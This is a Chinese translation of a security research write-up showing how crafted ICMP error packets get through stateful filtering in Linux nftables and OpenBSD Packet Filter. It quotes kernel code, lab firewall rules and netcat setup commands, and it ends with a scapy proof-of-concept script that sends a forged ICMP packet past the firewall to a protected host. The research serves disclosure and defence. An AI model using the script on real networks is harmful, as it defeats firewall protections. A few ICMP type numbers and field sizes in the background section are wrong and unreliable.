繞過防火墻過濾規(guī)則傳輸ICMP
ICMP和ICMPv6
ICMP和ICMPv6是Internet的主要協(xié)議。這些協(xié)議設(shè)計(jì)用于在數(shù)據(jù)包未到達(dá)目的地時(shí)進(jìn)行連接測試和錯(cuò)誤信令。接收ICMP消息讓應(yīng)用程序了解故障原因:數(shù)據(jù)包太大,沒有可用路由等。
ICMP消息
出于不同的目的,ICMP [v6]消息由兩個(gè)編碼為兩個(gè)字節(jié)的值標(biāo)識(shí):它們的類型和代碼。每種類型都有不同的含義,例如,ICMP有以下消息:
- Echo回復(fù)和請(qǐng)求(類型1和8)
- 目的地?zé)o法到達(dá)(類型3)
- Source quench(4型)
- 時(shí)間戳回復(fù)和請(qǐng)求(類型14和15)
當(dāng)ICMPv6具有:
- 目的地?zé)o法到達(dá)(類型1)
- 數(shù)據(jù)包太大(類型2)
- 超過時(shí)間(類型3)
- 參數(shù)問題(類型4)
- 路由器詢問和通告(133和134型)
- 鄰居詢問和通告(135和136型)
- ….
過去已棄用各種消息類型,而其他消息類型仍在使用中。我們可以根據(jù)其目的大致將ICMP消息分為三類:
- 請(qǐng)求:它們由主機(jī)生成以查詢某些信息;
- 回復(fù):它們是上述ICMP請(qǐng)求的ICMP響應(yīng);
- 錯(cuò)誤:它們是由網(wǎng)絡(luò)設(shè)備或主機(jī)在無法處理數(shù)據(jù)包時(shí)創(chuàng)建的。
本文重點(diǎn)介紹錯(cuò)誤消息。這個(gè)類別非常有趣,因?yàn)樗南⒆鳛閹饬髁堪l(fā)送,以響應(yīng)另一個(gè)協(xié)議的第4層通信。
例如,UDP分組可能生成ICMP錯(cuò)誤。這些錯(cuò)誤通常封裝在ICMP有效負(fù)載,IP報(bào)頭加上違規(guī)數(shù)據(jù)包的下一個(gè)64字節(jié)內(nèi)。圖1顯示了主機(jī)B拒絕封閉端口上的數(shù)據(jù)包的這種行為:
已知的攻擊和措施
作為信令協(xié)議,ICMP消息可以改變接收系統(tǒng)的IP棧的行為。例如,ICMP Redirect和ICMPv6 Router通告可以改變主機(jī)的路由表。
惡意用戶可能濫用ICMP來中斷網(wǎng)絡(luò)操作。過去已記錄了與ICMP相關(guān)的各種攻擊:
- ICMP打孔[1]是借助ICMP消息遍歷NAT的概念。它要求發(fā)起者在NAT后面;
- ICMP隧道[2]濫用ICMP協(xié)議將任意數(shù)據(jù)封裝在ICMP消息之上;
- ICMP ECHO放大[3]使用廣播執(zhí)行DoS;
- 通過攻擊MTU發(fā)現(xiàn)過程或分組擁塞[4] [5] [6]信令可以減慢網(wǎng)絡(luò)流量;
- ICMPv6 NDP攻擊[7](類似于IPv4世界中的ARP攻擊);
- ICMPv6 MLD發(fā)現(xiàn)+ DoS [8](類似于IGMP攻擊)。
通過正確配置操作系統(tǒng)的IP堆棧,可以減輕大多數(shù)這些風(fēng)險(xiǎn)。有趣的是,可以在不使用操作系統(tǒng)防火墻功能的情況下啟用各種ICMP保護(hù)(例如:sysctl,netsh,…)。
在Linux上使用sysctl的示例:
- # sysctl -a -r '^net\.ipv[46]\.(icmp|conf\.default\.accept)' | cut -d= -f1
- net.ipv4.conf.default.accept_local
- net.ipv4.conf.default.accept_redirects
- net.ipv4.conf.default.accept_source_route
- net.ipv4.icmp_echo_ignore_all
- net.ipv4.icmp_echo_ignore_broadcasts
- net.ipv4.icmp_errors_use_inbound_ifaddr
- net.ipv4.icmp_ignore_bogus_error_responses
- net.ipv4.icmp_msgs_burst
- net.ipv4.icmp_msgs_per_sec
- net.ipv4.icmp_ratelimit
- net.ipv4.icmp_ratemask
- net.ipv6.conf.default.accept_dad
- net.ipv6.conf.default.accept_ra
- net.ipv6.conf.default.accept_ra_defrtr
- net.ipv6.conf.default.accept_ra_from_local
- ...
- net.ipv6.conf.default.accept_redirects
- net.ipv6.conf.default.accept_source_route
- net.ipv6.icmp.ratelimit
在理想情況下,危險(xiǎn)的ICMP消息應(yīng)該被每個(gè)主機(jī)的IP堆棧阻止,而不需要防火墻。實(shí)際上,安全加固通常由WAN和受限LAN之間的防火墻實(shí)現(xiàn)。這里有一個(gè)問題:如何過濾ICMP和ICMPv6?
如何過濾ICMP?
1. RFC推薦的內(nèi)容
在過濾ICMP消息時(shí),阻止所有消息類型是不可能的。它會(huì)降低整體用戶體驗(yàn)。例如,阻止“數(shù)據(jù)包太大”實(shí)際上可以完全阻止IPv6工作,并可能嚴(yán)重降低IPv4的性能。
RFC4890 [10](2007)說在第4.3.1章中允許ICMPv6錯(cuò)誤消息。不得丟棄的流量:
對(duì)建立和建設(shè)至關(guān)重要的錯(cuò)誤消息
通訊維護(hù):
- 目的地?zé)o法到達(dá)(類型1) – 所有代碼
- 數(shù)據(jù)包太大(類型2)
- 超過時(shí)間(類型3) – 僅代碼0
- 參數(shù)問題(類型4) – 僅代碼1和2
(過期)草案“過濾ICMP消息的建議”[9](2013)提供了兩個(gè)表,總結(jié)了當(dāng)設(shè)備充當(dāng)網(wǎng)關(guān)或防火墻時(shí)應(yīng)接受,限速或拒絕哪些ICMP和ICMPv6消息。草案建議允許(接受或限制)以下消息:
- ICMPv4-unreach-(net|host|frag-needed|admin);
- ICMPv4-timed-(ttl|reass);
- 的ICMPv6-unreach-(no-route|admin-prohibited|addr|port|reject-route);
- ICMPv6的太大;
- 的ICMPv6-timed-(hop-limit|reass);
- ICMPv6的參數(shù) – UNREC選項(xiàng);
- ICMPv6-ERR-擴(kuò)大。
似乎人們對(duì)什么是安全的ICMP流量有不同的看法。通常認(rèn)為防火墻應(yīng)該阻止來自WAN的所有入站ICMP和ICMPv6數(shù)據(jù)包(NDP除外),除非它們與已知的現(xiàn)有連接相關(guān),可以通過狀態(tài)防火墻進(jìn)行跟蹤。
2. 防火墻狀態(tài)和相關(guān)流量
事實(shí)上,狀態(tài)防火墻實(shí)現(xiàn)了相關(guān)數(shù)據(jù)包的概念。這些相關(guān)數(shù)據(jù)包是與附加到現(xiàn)有連接的帶外流量匹配的數(shù)據(jù)包。在相關(guān)概念被用于與ICMP而且還與其他協(xié)議,例如FTP,其可以使用輔助TCP流。
關(guān)于ICMP,帶內(nèi)和帶外流量之間的關(guān)聯(lián)是通過從封裝在ICMP錯(cuò)誤消息中的IP分組中提取“狀態(tài)標(biāo)識(shí)符”來完成的。如果連接已知,則此標(biāo)識(shí)符用于在表中查找。
為了說明這個(gè)概念,讓我們考慮以下示例。在一個(gè)簡單的網(wǎng)絡(luò)中,我們希望只允許LAN上的主機(jī)通過端口1234上的UDP與WAN上的任何主機(jī)聯(lián)系。但我們?nèi)匀幌M鸄接收帶外錯(cuò)誤。在這種情況下,將使用以下高級(jí)防火墻配置:
- 允許從LAN到WAN udp端口1234的輸入;
- 如果數(shù)據(jù)包與現(xiàn)有的允許連接相關(guān),則允許從WAN到LAN的輸入;
- 阻止所有。
傳出的帶內(nèi)UDP流量將匹配規(guī)則:
- 進(jìn)入的帶外ICMP錯(cuò)誤消息將匹配規(guī)則;
- 如圖2所示,并且任何其他數(shù)據(jù)包將被規(guī)則3拒絕。
實(shí)際上,防火墻配置的語義不同,并且規(guī)則2在某些實(shí)現(xiàn)中可能是隱含的。
3. 什么是連接狀態(tài)?
到目前為止,我們知道狀態(tài)防火墻從ICMP(或ICMPv6)錯(cuò)誤中推斷出狀態(tài)。但剩下的問題是,哪些信息實(shí)際上是從內(nèi)部IP數(shù)據(jù)包中提取的?
由于第4層協(xié)議具有不同的語義,每個(gè)協(xié)議都有自己的提取器,但我們?cè)诎^濾器和nftables衍生物中觀察到以下內(nèi)容:
對(duì)于TCP,以下字段用于構(gòu)造狀態(tài):
- 內(nèi)部IP源和目的地;
- 內(nèi)部源和目標(biāo)端口;
- SEQ和ACK字段僅用于包過濾器,但不用于nftables。
對(duì)于UDP,以下字段用于構(gòu)造狀態(tài):
- 內(nèi)部IP源和目的地;
- 內(nèi)部源和目標(biāo)端口。
對(duì)于ICMP,以下字段用于構(gòu)造狀態(tài):
- 內(nèi)部IP源和目的地;
- 各種ICMP字段取決于類型。
對(duì)于其他協(xié)議:
- 內(nèi)部IP源和目的地;
- 協(xié)議的id;
- 如果防火墻支持它們,則將使用協(xié)議提供的屬性(例如:SCTP或UDP-Lite端口)(nftables可以,Packet Filter不能)。
4. 快速回顧一下
總而言之,當(dāng)防火墻收到帶外ICMP錯(cuò)誤時(shí),它會(huì)執(zhí)行以下操作:
1.解碼IP / ICMP或IPv6 / ICMPv6標(biāo)頭;
2.從封裝的IP或IPv6數(shù)據(jù)包中提取狀態(tài);
3.嘗試匹配現(xiàn)有狀態(tài)列表中的“狀態(tài)標(biāo)識(shí)符”;
4.如果內(nèi)部IP數(shù)據(jù)包狀態(tài)與現(xiàn)有狀態(tài)匹配,則將數(shù)據(jù)包標(biāo)記為 相關(guān)。
ICMP-可達(dá)
1. 問題
我們發(fā)現(xiàn),當(dāng)提取內(nèi)部數(shù)據(jù)包以找到狀態(tài)時(shí),與外部數(shù)據(jù)包的相關(guān)性將丟失。這意味著,只要封裝的數(shù)據(jù)包可以與現(xiàn)有連接相關(guān),整個(gè)數(shù)據(jù)包就會(huì)被標(biāo)記為相關(guān)。然后,在大多數(shù)情況下允許該數(shù)據(jù)包通過。
使用惡意制作的ICMP [v6]數(shù)據(jù)包可以濫用此行為,該數(shù)據(jù)包以過濾的主機(jī)為目標(biāo),同時(shí)封裝符合合法狀態(tài)的數(shù)據(jù)包,如下所示:
- ICMP-Reachable packet:
-
- [ IP src=@M dst=@H type=ICMP ]
- [ ICMP type=@Type code=@Code ]
- [ IP src=@B dst=@A ]
- [ UDP sport=@Pb dport=Pa ]
-
- M: the attacker IP
- H: the destination IP on which ICMP should be filtered
- A: host IP from which the attacker knows an existing session with B
- B: host IP from which the attacker knows an existing session with A
- Pa: the port used by A its UDP session with B
- Pb: the port used by B its UDP session with A
- Type: the ICMP type of an out-of-band error packet (example 3)
- Code: the ICMP code of an out-of-band error packet (example 3)
在這種情況下,將允許惡意ICMP [v6]數(shù)據(jù)包通過。nftables和Packet Filter實(shí)現(xiàn)都受此行為的影響。
接下來的章節(jié)將介紹Linux和OpenBSD的實(shí)現(xiàn)細(xì)節(jié),以了解相關(guān)性丟失的位置。
2. NFTABLES實(shí)施和細(xì)節(jié)
Linux在netfilter conntrack模塊中實(shí)現(xiàn)了相關(guān)數(shù)據(jù)包的概念。
它在netfilter/nf_conntrack_core.c中以函數(shù)nf_conntrack_in開始,該函數(shù)處理在參數(shù)skb中傳遞的每個(gè)輸入數(shù)據(jù)包。在nf_conntrack_handle_icmp中處理第4層協(xié)議和ICMP和ICMPv6的提取。
- unsigned int
- nf_conntrack_in(struct sk_buff *skb, const struct nf_hook_state *state)
- {
- // ..
-
- l4proto = __nf_ct_l4proto_find(protonum);
-
- if (protonum == IPPROTO_ICMP || protonum == IPPROTO_ICMPV6) {
- ret = nf_conntrack_handle_icmp(tmpl, skb, dataoff,
- protonum, state);
- if (ret <= 0) {
- ret = -ret;
- goto out;
- }
- /* ICMP[v6] protocol trackers may assign one conntrack. */
- if (skb->_nfct)
- goto out;
- }
- // ...
- }
nf_conntrack_handle_icmp然后根據(jù)ICMP的版本調(diào)用nf_conntrack_icmpv4_error()或nf_conntrack_icmpv6_error()。這些功能非常相似,所以讓我們關(guān)注ICMP。
如果類型是以下類型之一,則nf_conntrack_icmpv4_error驗(yàn)證ICMP標(biāo)頭并調(diào)用icmp_error_message:ICMP_DEST_UNREACH,ICMP_PARAMETERPROB,ICMP_REDIRECT,ICMP_SOURCE_QUENCH,ICMP_TIME_EXCEEDED:
- /* Small and modified version of icmp_rcv */
- int nf_conntrack_icmpv4_error(struct nf_conn *tmpl,
- struct sk_buff *skb, unsigned int dataoff,
- const struct nf_hook_state *state)
- {
- const struct icmphdr *icmph;
- struct icmphdr _ih;
-
- /* Not enough header? */
- icmph = skb_header_pointer(skb, ip_hdrlen(skb), sizeof(_ih), &_ih);
- if (icmph == NULL) {
- icmp_error_log(skb, state, "short packet");
- return -NF_ACCEPT;
- }
-
- // ...
-
- if (icmph->type > NR_ICMP_TYPES) {
- icmp_error_log(skb, state, "invalid icmp type");
- return -NF_ACCEPT;
- }
-
- /* Need to track icmp error message? */
- if (icmph->type != ICMP_DEST_UNREACH &&
- icmph->type != ICMP_SOURCE_QUENCH &&
- icmph->type != ICMP_TIME_EXCEEDED &&
- icmph->type != ICMP_PARAMETERPROB &&
- icmph->type != ICMP_REDIRECT)
- return NF_ACCEPT;
-
- return icmp_error_message(tmpl, skb, state);
- }
然后icmp_error_message負(fù)責(zé)提取和識(shí)別匹配狀態(tài):
- /* Returns conntrack if it dealt with ICMP, and filled in skb fields */
- static int
- icmp_error_message(struct nf_conn *tmpl, struct sk_buff *skb,
- const struct nf_hook_state *state)
- {
- // ...
-
- WARN_ON(skb_nfct(skb));
- zone = nf_ct_zone_tmpl(tmpl, skb, &tmp);
-
- /* Are they talking about one of our connections? */
- if (!nf_ct_get_tuplepr(skb,
- skb_network_offset(skb) + ip_hdrlen(skb)
- + sizeof(struct icmphdr),
- PF_INET, state->net, &origtuple)) {
- pr_debug("icmp_error_message: failed to get tuple\n");
- return -NF_ACCEPT;
- }
-
- /* rcu_read_lock()ed by nf_hook_thresh */
- innerproto = __nf_ct_l4proto_find(origtuple.dst.protonum);
-
- /* Ordinarily, we'd expect the inverted tupleproto, but it's
- been preserved inside the ICMP. */
- if (!nf_ct_invert_tuple(&innertuple, &origtuple, innerproto)) {
- pr_debug("icmp_error_message: no match\n");
- return -NF_ACCEPT;
- }
-
- ctinfo = IP_CT_RELATED;
-
- h = nf_conntrack_find_get(state->net, zone, &innertuple);
- if (!h) {
- pr_debug("icmp_error_message: no match\n");
- return -NF_ACCEPT;
- }
-
- if (NF_CT_DIRECTION(h) == IP_CT_DIR_REPLY)
- ctinfo += IP_CT_IS_REPLY;
-
- /* Update skb to refer to this connection */
- nf_ct_set(skb, nf_ct_tuplehash_to_ctrack(h), ctinfo);
- return NF_ACCEPT;
- }
- 首先,使用nf_ct_zone_tmpl計(jì)算分組skb的網(wǎng)絡(luò)區(qū)域。nftables有網(wǎng)絡(luò)conntrack區(qū)域的概念。這些區(qū)域允許虛擬化連接跟蹤,以便在conntrack和NAT中處理具有相同身份的多個(gè)連接。除非有明確的規(guī)則要求,否則所有數(shù)據(jù)包都將進(jìn)入0區(qū)(參見目標(biāo)CT的手冊(cè)頁);
- 然后nf_ct_get_tuplepr用于從ICMP層內(nèi)的IP數(shù)據(jù)報(bào)中提取ip連接狀態(tài) origtuple;
- nf_ct_invert_tuple執(zhí)行狀態(tài)的源/目標(biāo)交換,因?yàn)樗迷汲稣緮?shù)據(jù)包但防火墻想要檢查入站數(shù)據(jù)包;
- nf_conntrack_find_get查找與提取的狀態(tài)匹配的已知狀態(tài)。此時(shí)我們看到外層IP層未被考慮用于查找狀態(tài);
- 如果找到狀態(tài),則nf_ct_set標(biāo)記具有相關(guān)狀態(tài)(IP_CT_RELATED)的sbk數(shù)據(jù)包。
對(duì)于ICMPv6,我們對(duì)類型小于128的消息有類似的實(shí)現(xiàn)。
3. 包過濾器實(shí)現(xiàn)和細(xì)節(jié)
在包過濾器中,相關(guān)的概念實(shí)際上是隱含的,并且在狀態(tài)的概念下實(shí)現(xiàn)。包過濾的總體設(shè)計(jì)如下:
數(shù)據(jù)包可以與狀態(tài)相關(guān)聯(lián)嗎?
- 如果是,則允許數(shù)據(jù)包通過;
- 如果不是,則根據(jù)過濾規(guī)則測試分組。如果匹配規(guī)則允許數(shù)據(jù)包通過,則可能會(huì)創(chuàng)建狀態(tài)。
整個(gè)邏輯在/sys/net/pf.c中的函數(shù)pf_test中實(shí)現(xiàn)。下一個(gè)摘錄顯示了ICMP的這種處理[v6](為了清楚起見,部分代碼已被剝離):
- pf_test(sa_family_t af, int fwdir, struct ifnet *ifp, struct mbuf **m0)
- {
- // ...
- switch (pd.virtual_proto) {
-
- case IPPROTO_ICMP: {
- // look for a known state
- action = pf_test_state_icmp(&pd, &s, &reason);
- s = pf_state_ref(s);
-
- if (action == PF_PASS || action == PF_AFRT) {
- // if a valid state is found the packet might go there
- // without being tested against the filtering rules
- r = s->rule.ptr;
- a = s->anchor.ptr;
- pd.pflog |= s->log;
-
- } else if (s == NULL) {
- // if no state is found the packet is tested
- action = pf_test_rule(&pd, &r, &s, &a, &ruleset, &reason);
- s = pf_state_ref(s);
- }
- break;
- }
-
- case IPPROTO_ICMPV6: {
- // look for a known state
- action = pf_test_state_icmp(&pd, &s, &reason);
- s = pf_state_ref(s);
-
- if (action == PF_PASS || action == PF_AFRT) {
- // if a valid state is found the packet might go there
- // without being tested against the filtering rules
- r = s->rule.ptr;
- a = s->anchor.ptr;
- pd.pflog |= s->log;
- } else if (s == NULL) {
- // if no state is found the packet is tested
- action = pf_test_rule(&pd, &r, &s, &a, &ruleset, &reason);
- s = pf_state_ref(s);
- }
- break;
- }
-
- // ...
- }
pf_test_state_icmp()是嘗試查找此數(shù)據(jù)包與已知連接之間關(guān)系的函數(shù)。它使用對(duì)pf_icmp_mapping()的調(diào)用來了解數(shù)據(jù)包是帶內(nèi)還是帶外。在后一種情況下,提取內(nèi)部IP分組及其第4層協(xié)議以找到狀態(tài)。這在以下摘錄中顯示:
- int pf_test_state_icmp(struct pf_pdesc *pd, struct pf_state **state, u_short *reason) {
- // ...
-
- if (pf_icmp_mapping(pd, icmptype, &icmp_dir, &virtual_id, &virtual_type) == 0) { // <-- 1
- /*
- * ICMP query/reply message not related to a TCP/UDP packet.
- * Search for an ICMP state.
- */
-
- // ...
- } else { // <-- 2
- /*
- * ICMP error message in response to a TCP/UDP packet.
- * Extract the inner TCP/UDP header and search for that state.
- */
-
- switch (pd->af) {
- case AF_INET: // <-- 3
- if (!pf_pull_hdr(pd2.m, ipoff2, &h2, sizeof(h2), NULL, reason, pd2.af)))
- { /* ... */ }
-
- case AF_INET6: // <-- 4
- if (!pf_pull_hdr(pd2.m, ipoff2, &h2_6, sizeof(h2_6), NULL, reason, pd2.af))
- { /* ... */ }
- // ...
-
- switch (pd2.proto) {
- case IPPROTO_TCP: {
- struct tcphdr *th = &pd2.hdr.tcp;
- // ...
- if (!pf_pull_hdr(pd2.m, pd2.off, th, 8, NULL, reason, pd2.af)) { // <-- 5
- // ...
- }
- key.af = pd2.af; // <-- 6
- key.proto = IPPROTO_TCP;
- key.rdomain = pd2.rdomain;
- PF_ACPY(&key.addr[pd2.sidx], pd2.src, key.af);
- PF_ACPY(&key.addr[pd2.didx], pd2.dst, key.af);
- key.port[pd2.sidx] = th->th_sport;
- key.port[pd2.didx] = th->th_dport;
-
- action = pf_find_state(&pd2, &key, state); // <-- 7
- if (action != PF_MATCH)
- return (action);
-
- // ...
-
- break;
- }
- case IPPROTO_UDP: {
- struct udphdr *uh = &pd2.hdr.udp;
- int action;
- if (!pf_pull_hdr(pd2.m, pd2.off, uh, sizeof(*uh), NULL, reason, pd2.af)) { // <-- 8
- // ...
- }
-
- key.af = pd2.af; // <-- 9
- key.proto = IPPROTO_UDP;
- key.rdomain = pd2.rdomain;
- PF_ACPY(&key.addr[pd2.sidx], pd2.src, key.af);
- PF_ACPY(&key.addr[pd2.didx], pd2.dst, key.af);
- key.port[pd2.sidx] = uh->uh_sport;
- key.port[pd2.didx] = uh->uh_dport;
-
- action = pf_find_state(&pd2, &key, state); // <-- 10
- if (action != PF_MATCH)
- return (action);
- break;
- }
- case IPPROTO_ICMP: {
- // ...
- break;
- }
- case IPPROTO_ICMPV6: {
- // ...
- break;
- }
-
- default: { // <-- 11
- int action;
- key.af = pd2.af;
- key.proto = pd2.proto;
- key.rdomain = pd2.rdomain;
- PF_ACPY(&key.addr[pd2.sidx], pd2.src, key.af);
- PF_ACPY(&key.addr[pd2.didx], pd2.dst, key.af);
- key.port[0] = key.port[1] = 0;
- action = pf_find_state(&pd2, &key, state);
- // ...
- break;
- }
- }
pf_icmp_mapping()確定是否應(yīng)該提取內(nèi)部數(shù)據(jù)包。如果是,則繼續(xù)執(zhí)行。
此時(shí)僅針對(duì)以下數(shù)據(jù)包繼續(xù)執(zhí)行:
- 1.IPv4上的ICMP_UNREACH;
- 2.IPv4上的ICMP_SOURCEQUENCH;
- 3.IPv4上的ICMP_REDIRECT;
- 4.IPv4上的ICMP_TIMXCEED;
- 5.IPv4上的ICMP_PARAMPROB;
- 6.IPv6的ICMP6_DST_UNREACH;
- 7.IPv6上的ICMP6_PACKET_TOO_BIG;
- 8.IPv6上的ICMP6_TIME_EXCEEDED;
- 9.IPv6上的ICMP6_PARAM_PROB。
- 3和4:根據(jù)版本提取IP頭;
- 5和8:提取UDP或TCP的標(biāo)題;
- 6和9:初始化查找密鑰,而不考慮上層IP分組;
- 7和10:執(zhí)行狀態(tài)查找,如果發(fā)現(xiàn)狀態(tài),則函數(shù)可以返回PF_PASS,允許數(shù)據(jù)包通過。
4. poc
為了演示攻擊,我們將考慮具有4個(gè)主機(jī),兩個(gè)子網(wǎng),LAN和WAN以及中間防火墻的網(wǎng)絡(luò)的簡單情況。我們將使用Linux nftables和OpenBSD Packet Filter作為防火墻來測試場景。虛擬機(jī)或真實(shí)虛擬機(jī)可用于設(shè)置環(huán)境。請(qǐng)注意,IP范圍或系列與問題無關(guān),只有NAT可以影響可利用性,這將在下一部分中討論。
免責(zé)聲明2:我們被告知我們?cè)趯?shí)驗(yàn)中使用了真正的IP前綴,最好使用那些用于文檔的前綴。
1.0.0.0/8下的WAN是一個(gè)不受信任的網(wǎng)絡(luò);
在2.0.0.0/24下的局域網(wǎng)是一個(gè)受信任的網(wǎng)絡(luò),其訪問必須由防火墻過濾;
- M,WAN上的攻擊者,IP 1.0.0.10;
- A,WAN上的主機(jī),IP 1.0.0.11;
- H,局域網(wǎng)上的敏感服務(wù)器,IP 2.0.0.10;
- B,LAN上的主機(jī),IP 2.0.0.11;
- F,WAN與LAN之間的防火墻,IP 1.0.0.2和2.0.0.2。
我們將考慮端口53和1234上從A到B建立的會(huì)話UDP。攻擊者必須知道這些會(huì)話參數(shù),這不是后面討論的強(qiáng)假設(shè)。
防火墻配置應(yīng)該:
- 阻止所有來自WAN的ICMP到LAN;
- 允許ICMP從LAN到WAN;
- 允許A和B之間的UDP連接;
- 阻止其他一切。
在這些條件下,我們預(yù)計(jì)攻擊者無法向H發(fā)送單個(gè)ICMP [v6]數(shù)據(jù)包。
對(duì)于Linux實(shí)驗(yàn),防火墻配置如下(使用命令nft也可以這樣做):
- #iptables -P INPUT DROP
- #iptables -P FORWARD DROP
- #iptables -P OUTPUT DROP
- #iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
- #iptables -A FORWARD -i if-wan -o if-lan -p udp --dport 53 -j ACCEPT
對(duì)于OpenBSD實(shí)驗(yàn),防火墻配置如下:
- # em0 is on the WAN
- # em1 is on the LAN
-
- block all
-
- # explicitly block icmp from the WAN to the LAN
- block in on em0 proto icmp
-
- # allow icmp from the lan to both the WAN and LAN
- pass in on em1 inet proto icmp from em1:network
- pass out on em1 inet proto icmp from em1:network
- pass out on em0 inet proto icmp from em1:network
-
- # allow udp to B
- pass in on em0 proto udp to b port 53
- pass out on em1 proto udp to b port 53
- pass in on em1 proto udp from b port 53
- pass out on em0 proto udp from b port 53
在B上模擬UDP服務(wù):
- (B) $ nc -n -u -l 53
對(duì)于A,建立連接:
- (A) $ nc -u -n -p 1234 2.0.0.11 53
- TEST
我們可以檢查從M到H的入站ICMP是否被過濾:
- (M) $ ping -c 1 2.0.0.10 -W2
-
- PING 2.0.0.10 (2.0.0.10) 56(84) bytes of data.
- --- 2.0.0.10 ping statistics ---
- 1 packets transmitted, 0 received, 100% packet loss, time 0ms
現(xiàn)在我們將使用以下使用精彩scapy庫的python腳本:
- from scapy.all import *
- M = "1.0.0.10" # attacker
- H = "2.0.0.10" # protected server
- A = "1.0.0.11"
- B = "2.0.0.11"
- Pa = 1234
- Pb = 53
-
- icmp_reachable = IP(src=M, dst=H) / \
- ICMP(type=3, code=3) / \
- IP(src=B, dst=A) / \
- UDP(sport=Pb, dport=Pa)
- send(icmp_reachable)
在Linux和OpenBSD情況下,網(wǎng)絡(luò)捕獲顯示ICMP數(shù)據(jù)包由防火墻轉(zhuǎn)發(fā)到H并從一個(gè)接口傳遞到另一個(gè)接口。
Wireshark捕獲顯示第二個(gè)ICMP消息從一個(gè)接口轉(zhuǎn)到另一個(gè)接口。因此,無論過濾規(guī)則如何,攻擊者都能夠?qū)?shù)據(jù)包發(fā)送到正常過濾的主機(jī)H。